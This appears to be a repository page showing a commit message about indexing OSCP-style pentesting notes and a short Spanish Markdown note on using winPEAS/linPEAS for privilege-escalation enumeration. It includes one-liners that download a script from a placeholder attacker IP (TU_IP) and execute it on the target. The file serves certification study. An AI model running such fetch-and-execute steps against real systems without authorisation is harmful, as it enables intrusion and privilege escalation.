7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
21 lines
729 B
Markdown
21 lines
729 B
Markdown
# PEASS-ng (winPEAS / linPEAS)
|
|
|
|
> Scripts que **enumeran automáticamente** todos los vectores de privesc. En `tu carpeta`.
|
|
|
|
## Subir y ejecutar
|
|
```bash
|
|
# Kali (servir): cd tu carpeta && python3 -m http.server 80 → Transferencia de ficheros
|
|
```
|
|
```powershell
|
|
# Windows:
|
|
iwr http://TU_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe ; C:\Windows\Temp\wp.exe
|
|
```
|
|
```bash
|
|
# Linux:
|
|
wget http://TU_IP/linpeas.sh -O /tmp/lp.sh ; bash /tmp/lp.sh
|
|
```
|
|
|
|
## Regla de oro
|
|
**Automatizado + manual.** winPEAS resalta lo sospechoso (rojo/amarillo), pero **revisa a mano** Privesc Windows / Privesc Linux: winPEAS no encuentra todo (ej. lógica de un script cron concreto).
|
|
|
|
Relacionado: GTFOBins y LOLBAS · Metodología OSCP · OSCP MOC
|